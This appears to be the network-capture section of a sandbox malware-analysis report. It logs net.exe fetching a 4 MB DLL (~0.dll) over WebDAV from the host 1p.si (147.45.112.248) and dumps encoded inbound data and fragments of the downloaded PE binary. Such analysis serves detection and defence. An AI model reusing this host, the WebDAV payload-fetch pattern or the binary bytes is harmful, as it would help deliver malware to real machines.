2024-12-27 19:43:56 UTC	1369	IN	Data Raw: 33 4f 37 58 73 36 57 71 37 54 75 0d 0a 46 4d 61 6b 52 76 75 41 4f 54 38 32 69 51 51 36 72 56 45 47 5a 53 42 6f 4e 66 57 62 76 6d 4f 37 5a 79 63 35 4e 65 42 4c 30 51 30 65 4d 53 41 73 54 51 79 63 64 64 71 51 4d 6d 65 65 4a 5a 58 34 74 49 6f 6d 53 47 41 55 55 55 57 53 65 48 50 49 58 66 51 64 53 6c 56 68 41 43 47 47 68 4a 54 4e 58 4d 61 37 49 38 43 77 58 63 30 6c 69 39 49 57 66 61 38 53 66 32 7a 51 6b 62 44 35 4c 48 38 47 31 5a 53 6c 4e 56 61 63 74 71 72 70 67 37 43 69 68 4c 62 53 33 77 4d 37 69 6b 51 32 59 45 6c 44 63 4c 75 46 6c 39 48 70 61 6a 32 7a 76 5a 53 6e 69 79 6e 39 7a 53 59 67 38 43 58 71 4a 78 38 4a 6c 4d 33 42 36 56 4c 47 71 35 67 73 30 57 6b 55 45 31 4f 33 4f 4c 71 51 36 74 61 38 68 30 47 74 5a 68 7a 62 57 62 44 58 31 76 58 4d 5a 37 54 4f 69 6c Data Ascii: 3O7Xs6Wq7TuFMakRvuAOT82iQQ6rVEGZSBoNfWbvmO7Zyc5NeBL0Q0eMSAsTQycddqQMmeeJZX4tIomSGAUUUWSeHPIXfQdSlVhACGGhJTNXMa7I8CwXc0li9IWfa8Sf2zQkbD5LH8G1ZSlNVactqrpg7CihLbS3wM7ikQ2YElDcLuFl9Hpaj2zvZSniyn9zSYg8CXqJx8JlM3B6VLGq5gs0WkUE1O3OLqQ6ta8h0GtZhzbWbDX1vXMZ7TOil
2024-12-27 19:43:56 UTC	1369	IN	Data Raw: 37 43 59 71 4e 4a 54 4c 56 4b 48 6f 47 58 4f 52 6e 75 32 62 72 73 42 76 5a 5a 32 0d 0a 49 54 43 74 76 53 65 72 6f 67 63 73 4d 30 54 4f 78 45 61 56 64 7a 5a 64 72 55 4f 67 65 4f 70 6b 73 61 66 5a 52 30 72 30 53 73 5a 39 31 59 4f 42 57 4a 74 43 66 59 57 71 78 59 4c 73 4c 46 69 33 6d 49 4c 61 34 70 69 34 75 4e 6c 78 4a 32 57 49 46 75 54 39 42 6d 65 34 37 54 6f 6f 46 79 78 53 33 54 68 46 76 53 62 5a 44 6d 58 52 59 5a 41 77 4c 6c 34 55 71 51 32 77 70 69 38 77 78 37 66 77 70 73 62 45 59 74 79 50 41 4f 37 43 77 58 65 55 78 77 36 59 4b 64 54 79 55 74 51 57 6e 73 74 68 72 34 47 33 4a 31 6f 50 5a 44 61 52 54 4b 4a 64 48 42 58 37 58 32 69 31 33 65 4e 5a 50 6a 44 33 61 45 72 36 65 50 7a 75 69 77 6f 39 48 56 44 51 78 6b 36 34 66 6b 4e 48 44 48 69 56 5a 51 75 5a 63 36 Data Ascii: 7CYqNJTLVKHoGXORnu2brsBvZZ2ITCtvSerogcsM0TOxEaVdzZdrUOgeOpksafZR0r0SsZ91YOBWJtCfYWqxYLsLFi3mILa4pi4uNlxJ2WIFuT9Bme47TooFyxS3ThFvSbZDmXRYZAwLl4UqQ2wpi8wx7fwpsbEYtyPAO7CwXeUxw6YKdTyUtQWnsthr4G3J1oPZDaRTKJdHBX7X2i13eNZPjD3aEr6ePzuiwo9HVDQxk64fkNHDHiVZQuZc6
2024-12-27 19:43:56 UTC	1369	IN	Data Raw: 56 77 77 6a 79 59 77 6f 72 61 39 56 56 39 5a 6f 45 74 67 63 75 44 72 56 54 54 4a 46 72 61 57 30 33 6c 4d 73 38 58 39 65 47 5a 75 0d 0a 67 62 73 58 51 41 38 75 53 33 41 49 75 30 6b 72 7a 77 34 6e 79 39 71 44 30 57 71 58 58 31 68 36 76 38 46 73 75 65 54 6c 41 75 72 57 35 56 54 4f 79 4f 64 65 5a 6e 36 62 5a 75 4f 4d 6e 77 53 58 4f 73 31 64 57 72 76 78 78 6e 62 72 4d 57 5a 5a 55 51 55 51 77 69 76 55 77 66 59 45 67 35 4c 69 62 67 47 75 6e 75 70 30 49 37 46 6e 6b 36 61 4a 52 36 52 66 69 57 79 51 55 73 41 56 38 79 74 33 70 76 54 77 35 58 39 64 58 49 6e 30 4d 43 6e 6d 57 34 74 30 31 50 43 4d 63 47 4f 55 4a 4f 6f 34 79 73 79 61 76 37 72 7a 34 38 51 36 32 79 35 6b 4b 48 45 4a 70 58 6c 48 50 49 33 36 36 56 6a 65 79 59 70 4b 78 4f 68 5a 48 4d 32 30 4f 74 38 61 75 42 Data Ascii: VwwjyYwora9VV9ZoEtgcuDrVTTJFraW03lMs8X9eGZugbsXQA8uS3AIu0krzw4ny9qD0WqXX1h6v8FsueTlAurW5VTOyOdeZn6bZuOMnwSXOs1dWrvxxnbrMWZZUQUQwivUwfYEg5LibgGunup0I7Fnk6aJR6RfiWyQUsAV8yt3pvTw5X9dXIn0MCnmW4t01PCMcGOUJOo4ysyav7rz48Q62y5kKHEJpXlHPI366VjeyYpKxOhZHM20Ot8auB
2024-12-27 19:43:56 UTC	1369	IN	Data Raw: 56 79 46 65 43 46 6c 72 39 75 62 62 75 70 45 6b 32 4b 32 52 44 56 48 6e 62 46 6a 53 57 72 4c 63 4b 79 70 74 65 45 68 4d 55 4b 68 4a 66 34 67 49 64 58 53 78 73 67 6f 47 32 32 47 0d 0a 43 66 57 73 6a 5a 79 78 68 4c 67 34 34 4b 6f 6b 49 52 52 71 53 74 69 68 64 4d 32 4b 65 53 7a 79 53 53 70 33 53 48 79 56 30 6d 49 4d 7a 55 76 77 62 4f 32 4d 7a 64 4b 4c 36 76 65 34 64 69 35 69 4b 36 6a 68 76 46 55 4c 30 57 47 33 6f 66 6f 57 31 30 57 4c 63 48 57 39 67 71 47 6f 45 59 51 6e 68 77 33 6f 58 35 56 38 50 58 5a 4a 41 54 4b 74 63 6d 69 61 30 31 58 75 76 34 6b 46 4c 49 65 73 75 69 59 66 68 54 56 55 55 76 77 45 68 50 61 33 59 39 76 5a 62 64 70 44 79 61 68 56 72 52 71 69 6d 43 5a 39 38 52 56 79 32 30 65 43 33 6d 50 49 45 79 71 6d 51 41 55 44 34 43 63 6e 33 71 4e 31 4d 4a Data Ascii: VyFeCFlr9ubbupEk2K2RDVHnbFjSWrLcKypteEhMUKhJf4gIdXSxsgoG22GCfWsjZyxhLg44KokIRRqStihdM2KeSzySSp3SHyV0mIMzUvwbO2MzdKL6ve4di5iK6jhvFUL0WG3ofoW10WLcHW9gqGoEYQnhw3oX5V8PXZJATKtcmia01Xuv4kFLIesuiYfhTVUUvwEhPa3Y9vZbdpDyahVrRqimCZ98RVy20eC3mPIEyqmQAUD4Ccn3qN1MJ
2024-12-27 19:43:56 UTC	1369	IN	Data Raw: 4e 5a 6d 4f 43 6a 50 69 6c 4e 6c 73 42 57 57 43 4c 76 4f 55 49 6f 42 6b 47 6a 6b 65 4b 46 4f 45 70 5a 54 51 76 6b 46 51 76 62 4a 39 44 6e 7a 33 39 73 6e 6f 45 56 76 38 45 6e 52 70 64 67 36 75 68 6b 42 7a 62 54 72 69 4b 49 6b 0d 0a 54 36 4b 74 36 4b 6e 79 64 65 6d 32 55 76 39 68 62 46 4d 74 65 34 72 74 51 68 59 64 52 58 78 65 58 5a 32 79 76 68 39 6b 68 74 6b 55 59 32 56 44 53 4e 74 57 4c 75 76 4d 4e 33 65 6a 54 4c 62 64 62 54 43 37 61 58 66 55 6a 37 67 53 4e 43 53 68 75 77 50 6e 4b 72 58 73 42 32 50 4a 37 74 39 49 47 50 53 73 66 62 36 76 51 47 45 54 6e 38 6a 45 6a 4e 4e 36 38 71 55 34 53 50 63 49 5a 69 51 39 35 4f 48 62 70 45 35 4d 39 79 49 4d 65 76 74 6f 30 62 52 56 55 70 4a 57 77 36 53 51 6a 4c 30 68 44 36 46 42 47 67 78 61 6c 63 64 66 4a 72 32 6b 42 50 Data Ascii: NZmOCjPilNlsBWWCLvOUIoBkGjkeKFOEpZTQvkFQvbJ9Dnz39snoEVv8EnRpdg6uhkBzbTriKIkT6Kt6Knydem2Uv9hbFMte4rtQhYdRXxeXZ2yvh9khtkUY2VDSNtWLuvMN3ejTLbdbTC7aXfUj7gSNCShuwPnKrXsB2PJ7t9IGPSsfb6vQGETn8jEjNN68qU4SPcIZiQ95OHbpE5M9yIMevto0bRVUpJWw6SQjL0hD6FBGgxalcdfJr2kBP
2024-12-27 19:43:56 UTC	1369	IN	Data Raw: 31 42 7a 6a 70 64 35 73 46 67 35 31 4f 73 78 43 72 5a 47 31 57 77 54 61 31 72 30 65 4a 36 61 71 5a 77 65 6a 54 43 59 37 4d 65 69 31 73 52 35 34 66 56 6b 6b 51 44 70 42 31 78 37 63 53 7a 36 4c 6b 59 56 46 39 77 55 34 59 51 48 49 75 4a 68 43 51 75 49 4e 33 51 47 55 62 48 72 0d 0a 6e 33 39 44 61 51 6c 69 61 53 63 51 42 58 59 46 55 48 48 42 75 70 48 6e 36 52 62 54 45 7a 6b 66 43 54 42 63 64 50 49 48 43 4d 6e 63 64 61 4c 6e 56 6e 77 6f 59 37 4b 38 57 78 70 71 71 34 36 6f 7a 6d 45 53 30 7a 4b 34 31 73 63 7a 4c 48 74 76 61 4e 4c 58 6c 6e 51 32 5a 30 76 30 38 33 43 48 55 76 66 7a 39 4b 61 6c 69 48 31 61 57 71 48 4a 6d 48 73 61 37 32 6e 44 36 41 54 65 77 6f 32 57 70 58 75 57 74 6f 42 4f 50 30 54 63 72 6e 68 6d 6e 5a 4f 35 35 63 79 69 4e 4f 58 44 4d 6e 7a 65 39 53 Data Ascii: 1Bzjpd5sFg51OsxCrZG1WwTa1r0eJ6aqZwejTCY7Mei1sR54fVkkQDpB1x7cSz6LkYVF9wU4YQHIuJhCQuIN3QGUbHrn39DaQliaScQBXYFUHHBupHn6RbTEzkfCTBcdPIHCMncdaLnVnwoY7K8Wxpqq46ozmES0zK41sczLHtvaNLXlnQ2Z0v083CHUvfz9KaliH1aWqHJmHsa72nD6ATewo2WpXuWtoBOP0TcrnhmnZO55cyiNOXDMnze9S
2024-12-27 19:43:56 UTC	1369	IN	Data Raw: 32 75 32 7a 45 37 49 42 48 68 78 79 66 33 6c 61 6d 46 69 53 4f 45 51 54 37 74 52 79 4f 34 42 5a 6d 47 54 4e 64 35 50 65 37 33 50 47 72 38 6b 31 6f 51 75 53 6b 67 6b 4b 6f 52 61 78 6e 73 33 4a 36 73 49 67 69 78 59 46 4a 65 70 69 42 65 76 79 5a 56 57 55 38 45 6a 4b 66 67 51 46 48 56 66 64 78 5a 36 67 32 68 61 4b 45 63 4b 0d 0a 6b 4d 41 57 53 45 35 39 4f 51 38 6e 34 76 34 59 6b 48 6b 56 50 46 62 30 57 69 36 61 64 47 42 68 58 54 75 79 70 31 6e 4c 59 79 76 4a 4f 42 6a 4e 45 44 65 67 5a 69 4c 55 41 4c 6f 46 70 6e 6a 62 68 79 36 37 67 34 54 70 47 64 36 45 6c 56 41 48 49 4e 6d 4e 32 5a 70 43 38 47 71 49 66 7a 4e 34 53 4a 39 6b 32 35 30 7a 6e 63 53 4f 42 6a 70 7a 30 59 76 53 51 35 35 65 6b 36 74 30 41 4b 4c 55 4f 4c 6c 4e 52 4c 46 4f 59 38 4c 4c 4b 76 79 33 55 6c Data Ascii: 2u2zE7IBHhxyf3lamFiSOEQT7tRyO4BZmGTNd5Pe73PGr8k1oQuSkgkKoRaxns3J6sIgixYFJepiBevyZVWU8EjKfgQFHVfdxZ6g2haKEcKkMAWSE59OQ8n4v4YkHkVPFb0Wi6adGBhXTuyp1nLYyvJOBjNEDegZiLUALoFpnjbhy67g4TpGd6ElVAHINmN2ZpC8GqIfzN4SJ9k250zncSOBjpz0YvSQ55ek6t0AKLUOLlNRLFOY8LLKvy3Ul

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	147.45.112.248	443	7652	C:\Windows\SysWOW64\net.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 19:44:06 UTC	94	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 1p.si
2024-12-27 19:44:06 UTC	197	IN	HTTP/1.1 200 OK Server: nginx/1.26.2 Date: Fri, 27 Dec 2024 19:44:06 GMT Content-Length: 0 Connection: close DAV: 1 Allow: GET,HEAD,PUT,DELETE,MKCOL,COPY,MOVE,PROPFIND,OPTIONS,LOCK,UNLOCK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49736	147.45.112.248	443

Timestamp	Bytes transferred	Direction	Data
2024-12-27 19:44:11 UTC	126	OUT	OPTIONS /ko HTTP/1.1 Connection: Keep-Alive User-Agent: Microsoft-WebDAV-MiniRedir/10.0.19045 translate: f Host: 1p.si
2024-12-27 19:44:12 UTC	197	IN	HTTP/1.1 200 OK Server: nginx/1.26.2 Date: Fri, 27 Dec 2024 19:44:12 GMT Content-Length: 0 Connection: close DAV: 1 Allow: GET,HEAD,PUT,DELETE,MKCOL,COPY,MOVE,PROPFIND,OPTIONS,LOCK,UNLOCK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49739	147.45.112.248	443

Timestamp	Bytes transferred	Direction	Data
2024-12-27 19:44:14 UTC	156	OUT	Data Raw: 50 52 4f 50 46 49 4e 44 20 2f 6b 6f 20 48 54 54 50 2f 31 2e 31 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 4b 65 65 70 2d 41 6c 69 76 65 0d 0a 55 73 65 72 2d 41 67 65 6e 74 3a 20 4d 69 63 72 6f 73 6f 66 74 2d 57 65 62 44 41 56 2d 4d 69 6e 69 52 65 64 69 72 2f 31 30 2e 30 2e 31 39 30 34 35 0d 0a 44 65 70 74 68 3a 20 30 0d 0a 74 72 61 6e 73 6c 61 74 65 3a 20 66 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 30 0d 0a 48 6f 73 74 3a 20 31 70 2e 73 69 0d 0a 0d 0a Data Ascii: PROPFIND /ko HTTP/1.1Connection: Keep-AliveUser-Agent: Microsoft-WebDAV-MiniRedir/10.0.19045Depth: 0translate: fContent-Length: 0Host: 1p.si
2024-12-27 19:44:14 UTC	167	IN	HTTP/1.1 207 Multi-Status Server: nginx/1.26.2 Date: Fri, 27 Dec 2024 19:44:14 GMT Content-Type: text/xml; charset=utf-8 Content-Length: 520 Connection: close
2024-12-27 19:44:14 UTC	520	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 0a 3c 44 3a 6d 75 6c 74 69 73 74 61 74 75 73 20 78 6d 6c 6e 73 3a 44 3d 22 44 41 56 3a 22 3e 0a 3c 44 3a 72 65 73 70 6f 6e 73 65 3e 0a 3c 44 3a 68 72 65 66 3e 2f 6b 6f 3c 2f 44 3a 68 72 65 66 3e 0a 3c 44 3a 70 72 6f 70 73 74 61 74 3e 0a 3c 44 3a 70 72 6f 70 3e 0a 3c 44 3a 64 69 73 70 6c 61 79 6e 61 6d 65 3e 6b 6f 3c 2f 44 3a 64 69 73 70 6c 61 79 6e 61 6d 65 3e 0a 3c 5a 3a 57 69 6e 33 32 46 69 6c 65 41 74 74 72 69 62 75 74 65 73 20 78 6d 6c 6e 73 3a 5a 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 6d 69 63 72 6f 73 6f 66 74 2d 63 6f 6d 3a 22 3e 30 30 30 30 30 30 31 37 3c 2f 5a 3a 57 69 6e 33 32 46 69 6c 65 41 74 74 72 69 62 75 74 65 73 3e 0a 3c Data Ascii: <?xml version="1.0" encoding="utf-8" ?><D:multistatus xmlns:D="DAV:"><D:response><D:href>/ko</D:href><D:propstat><D:prop><D:displayname>ko</D:displayname><Z:Win32FileAttributes xmlns:Z="urn:schemas-microsoft-com:">00000017</Z:Win32FileAttributes><

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49741	147.45.112.248	443

Timestamp	Bytes transferred	Direction	Data
2024-12-27 19:44:16 UTC	156	OUT	Data Raw: 50 52 4f 50 46 49 4e 44 20 2f 6b 6f 20 48 54 54 50 2f 31 2e 31 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 4b 65 65 70 2d 41 6c 69 76 65 0d 0a 55 73 65 72 2d 41 67 65 6e 74 3a 20 4d 69 63 72 6f 73 6f 66 74 2d 57 65 62 44 41 56 2d 4d 69 6e 69 52 65 64 69 72 2f 31 30 2e 30 2e 31 39 30 34 35 0d 0a 44 65 70 74 68 3a 20 30 0d 0a 74 72 61 6e 73 6c 61 74 65 3a 20 66 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 30 0d 0a 48 6f 73 74 3a 20 31 70 2e 73 69 0d 0a 0d 0a Data Ascii: PROPFIND /ko HTTP/1.1Connection: Keep-AliveUser-Agent: Microsoft-WebDAV-MiniRedir/10.0.19045Depth: 0translate: fContent-Length: 0Host: 1p.si
2024-12-27 19:44:17 UTC	167	IN	HTTP/1.1 207 Multi-Status Server: nginx/1.26.2 Date: Fri, 27 Dec 2024 19:44:17 GMT Content-Type: text/xml; charset=utf-8 Content-Length: 520 Connection: close
2024-12-27 19:44:17 UTC	520	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 0a 3c 44 3a 6d 75 6c 74 69 73 74 61 74 75 73 20 78 6d 6c 6e 73 3a 44 3d 22 44 41 56 3a 22 3e 0a 3c 44 3a 72 65 73 70 6f 6e 73 65 3e 0a 3c 44 3a 68 72 65 66 3e 2f 6b 6f 3c 2f 44 3a 68 72 65 66 3e 0a 3c 44 3a 70 72 6f 70 73 74 61 74 3e 0a 3c 44 3a 70 72 6f 70 3e 0a 3c 44 3a 64 69 73 70 6c 61 79 6e 61 6d 65 3e 6b 6f 3c 2f 44 3a 64 69 73 70 6c 61 79 6e 61 6d 65 3e 0a 3c 5a 3a 57 69 6e 33 32 46 69 6c 65 41 74 74 72 69 62 75 74 65 73 20 78 6d 6c 6e 73 3a 5a 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 6d 69 63 72 6f 73 6f 66 74 2d 63 6f 6d 3a 22 3e 30 30 30 30 30 30 31 37 3c 2f 5a 3a 57 69 6e 33 32 46 69 6c 65 41 74 74 72 69 62 75 74 65 73 3e 0a 3c Data Ascii: <?xml version="1.0" encoding="utf-8" ?><D:multistatus xmlns:D="DAV:"><D:response><D:href>/ko</D:href><D:propstat><D:prop><D:displayname>ko</D:displayname><Z:Win32FileAttributes xmlns:Z="urn:schemas-microsoft-com:">00000017</Z:Win32FileAttributes><

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49744	147.45.112.248	443

Timestamp	Bytes transferred	Direction	Data
2024-12-27 19:44:19 UTC	175	OUT	Data Raw: 50 52 4f 50 46 49 4e 44 20 2f 6b 6f 2f 77 71 2f 7e 30 2e 64 6c 6c 2e 6d 61 6e 69 66 65 73 74 20 48 54 54 50 2f 31 2e 31 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 4b 65 65 70 2d 41 6c 69 76 65 0d 0a 55 73 65 72 2d 41 67 65 6e 74 3a 20 4d 69 63 72 6f 73 6f 66 74 2d 57 65 62 44 41 56 2d 4d 69 6e 69 52 65 64 69 72 2f 31 30 2e 30 2e 31 39 30 34 35 0d 0a 44 65 70 74 68 3a 20 30 0d 0a 74 72 61 6e 73 6c 61 74 65 3a 20 66 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 30 0d 0a 48 6f 73 74 3a 20 31 70 2e 73 69 0d 0a 0d 0a Data Ascii: PROPFIND /ko/wq/~0.dll.manifest HTTP/1.1Connection: Keep-AliveUser-Agent: Microsoft-WebDAV-MiniRedir/10.0.19045Depth: 0translate: fContent-Length: 0Host: 1p.si
2024-12-27 19:44:19 UTC	150	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.2 Date: Fri, 27 Dec 2024 19:44:19 GMT Content-Type: text/html Content-Length: 146 Connection: close
2024-12-27 19:44:19 UTC	146	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49747	147.45.112.248	443

Timestamp	Bytes transferred	Direction	Data
2024-12-27 19:44:21 UTC	166	OUT	Data Raw: 50 52 4f 50 46 49 4e 44 20 2f 6b 6f 2f 77 71 2f 7e 30 2e 64 6c 6c 20 48 54 54 50 2f 31 2e 31 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 4b 65 65 70 2d 41 6c 69 76 65 0d 0a 55 73 65 72 2d 41 67 65 6e 74 3a 20 4d 69 63 72 6f 73 6f 66 74 2d 57 65 62 44 41 56 2d 4d 69 6e 69 52 65 64 69 72 2f 31 30 2e 30 2e 31 39 30 34 35 0d 0a 44 65 70 74 68 3a 20 30 0d 0a 74 72 61 6e 73 6c 61 74 65 3a 20 66 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 30 0d 0a 48 6f 73 74 3a 20 31 70 2e 73 69 0d 0a 0d 0a Data Ascii: PROPFIND /ko/wq/~0.dll HTTP/1.1Connection: Keep-AliveUser-Agent: Microsoft-WebDAV-MiniRedir/10.0.19045Depth: 0translate: fContent-Length: 0Host: 1p.si
2024-12-27 19:44:22 UTC	167	IN	HTTP/1.1 207 Multi-Status Server: nginx/1.26.2 Date: Fri, 27 Dec 2024 19:44:22 GMT Content-Type: text/xml; charset=utf-8 Content-Length: 568 Connection: close
2024-12-27 19:44:22 UTC	568	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 0a 3c 44 3a 6d 75 6c 74 69 73 74 61 74 75 73 20 78 6d 6c 6e 73 3a 44 3d 22 44 41 56 3a 22 3e 0a 3c 44 3a 72 65 73 70 6f 6e 73 65 3e 0a 3c 44 3a 68 72 65 66 3e 2f 6b 6f 2f 77 71 2f 7e 30 2e 64 6c 6c 3c 2f 44 3a 68 72 65 66 3e 0a 3c 44 3a 70 72 6f 70 73 74 61 74 3e 0a 3c 44 3a 70 72 6f 70 3e 0a 3c 44 3a 64 69 73 70 6c 61 79 6e 61 6d 65 3e 7e 30 2e 64 6c 6c 3c 2f 44 3a 64 69 73 70 6c 61 79 6e 61 6d 65 3e 0a 3c 44 3a 67 65 74 63 6f 6e 74 65 6e 74 6c 65 6e 67 74 68 3e 34 31 31 32 33 38 34 3c 2f 44 3a 67 65 74 63 6f 6e 74 65 6e 74 6c 65 6e 67 74 68 3e 0a 3c 5a 3a 57 69 6e 33 32 46 69 6c 65 41 74 74 72 69 62 75 74 65 73 20 78 6d 6c 6e 73 3a 5a 3d Data Ascii: <?xml version="1.0" encoding="utf-8" ?><D:multistatus xmlns:D="DAV:"><D:response><D:href>/ko/wq/~0.dll</D:href><D:propstat><D:prop><D:displayname>~0.dll</D:displayname><D:getcontentlength>4112384</D:getcontentlength><Z:Win32FileAttributes xmlns:Z=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49748	147.45.112.248	443

Timestamp	Bytes transferred	Direction	Data
2024-12-27 19:44:24 UTC	175	OUT	GET /ko/wq/~0.dll HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache User-Agent: Microsoft-WebDAV-MiniRedir/10.0.19045 translate: f Host: 1p.si
2024-12-27 19:44:24 UTC	230	IN	HTTP/1.1 200 OK Server: nginx/1.26.2 Date: Fri, 27 Dec 2024 19:44:24 GMT Content-Type: application/octet-stream Content-Length: 4112384 Connection: close Last-Modified: Fri, 27 Dec 2024 19:40:02 GMT Accept-Ranges: bytes
2024-12-27 19:44:24 UTC	16154	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c4 00 00 00 72 98 97 36 36 f9 f9 65 36 f9 f9 65 36 f9 f9 65 94 3e 30 65 40 f9 f9 65 11 3f 35 65 73 f9 f9 65 35 81 27 65 44 f9 f9 65 f4 15 35 65 6d f9 f9 65 4b 80 18 65 1a f9 f9 65 52 69 63 68 36 f9 f9 65 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 f5 c6 61 52 00 00 00 00 00 00 00 00 e0 00 02 21 0b 01 09 12 00 c0 00 00 00 f0 3d 00 27 86 01 00 5b 1b 00 00 00 10 00 00 00 d0 00 00 00 00 00 10 00 10 00 Data Ascii: MZ@r66e6e6e>0e@e?5ese5'eDe5emeKeeRich6ePELaR!='[
2024-12-27 19:44:24 UTC	16384	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
2024-12-27 19:44:25 UTC	16384	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
2024-12-27 19:44:25 UTC	16384	IN	Data Raw: 10 66 81 38 4d 5a 89 44 24 20 0f 84 84 00 00 00 e9 97 00 00 00 8b 44 24 24 8d 65 fc 5e 5d c3 8d 44 24 28 89 04 24 e8 27 02 00 00 8d 0d 40 c6 00 10 8b 54 24 28 89 54 24 68 c7 44 24 64 00 bc 30 00 8b 15 18 c5 04 10 89 54 24 4c 8b 15 1c c5 04 10 89 54 24 78 8b 15 20 c5 04 10 89 54 24 60 8b 15 24 c5 04 10 89 54 24 58 8b 15 28 c5 04 10 89 54 24 70 c7 05 2c c5 04 10 8d 07 00 00 c7 05 30 c5 04 10 98 fe ff ff 89 44 24 0c 89 4c 24 10 e9 69 ff ff ff 8b 44 24 20 8b 48 3c 81 3c 08 50 45 00 00 89 4c 24 1c 0f 84 bf fe ff ff c7 05 2c c5 04 10 f3 16 00 00 8b 44 24 20 05 00 f0 ff ff 25 00 f0 ff ff 89 44 24 10 e9 30 ff ff ff 8b 44 24 18 89 44 24 24 e9 3b ff ff ff 55 89 e5 57 56 83 ec 1c 8b 45 18 8b 4d 14 8b 55 10 8b 75 0c 8b 7d 08 c7 05 2c c5 04 10 d3 15 00 00 81 f9 00 00 Data Ascii: f8MZD$ D$$e^]D$($'@T$(T$hD$d0T$LT$x T$`$T$X(T$p,0D$L$iD$ H<<PEL$,D$ 